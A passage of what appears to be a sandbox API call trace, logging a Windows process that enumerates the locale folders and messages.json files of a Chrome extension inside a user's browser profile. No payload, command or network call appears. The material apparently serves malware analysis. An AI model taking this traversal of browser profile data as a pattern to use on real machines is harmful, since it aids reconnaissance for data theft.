ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.986] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.986] GetProcessHeap () returned 0x550000 [0278.986] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.986] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0278.986] GetProcessHeap () returned 0x550000 [0278.986] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.986] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.986] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.986] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.986] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.986] GetProcessHeap () returned 0x550000 [0278.986] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.986] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0278.986] GetProcessHeap () returned 0x550000 [0278.986] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.987] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.987] GetProcessHeap () returned 0x550000 [0278.987] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0278.987] GetProcessHeap () returned 0x550000 [0278.987] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.987] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.987] GetProcessHeap () returned 0x550000 [0278.987] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.987] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="se", cAlternateFileName="")) returned 1 [0278.988] GetProcessHeap () returned 0x550000 [0278.988] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.988] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.988] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.988] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.988] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.988] GetProcessHeap () returned 0x550000 [0278.988] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.988] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0278.988] GetProcessHeap () returned 0x550000 [0278.988] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.988] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.988] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.989] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.989] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.989] GetProcessHeap () returned 0x550000 [0278.989] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.989] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0278.989] GetProcessHeap () returned 0x550000 [0278.989] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.989] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.989] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.989] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.989] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.989] GetProcessHeap () returned 0x550000 [0278.989] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.989] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0278.989] GetProcessHeap () returned 0x550000 [0278.989] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.990] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.990] GetProcessHeap () returned 0x550000 [0278.990] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0278.990] GetProcessHeap () returned 0x550000 [0278.990] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.990] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, 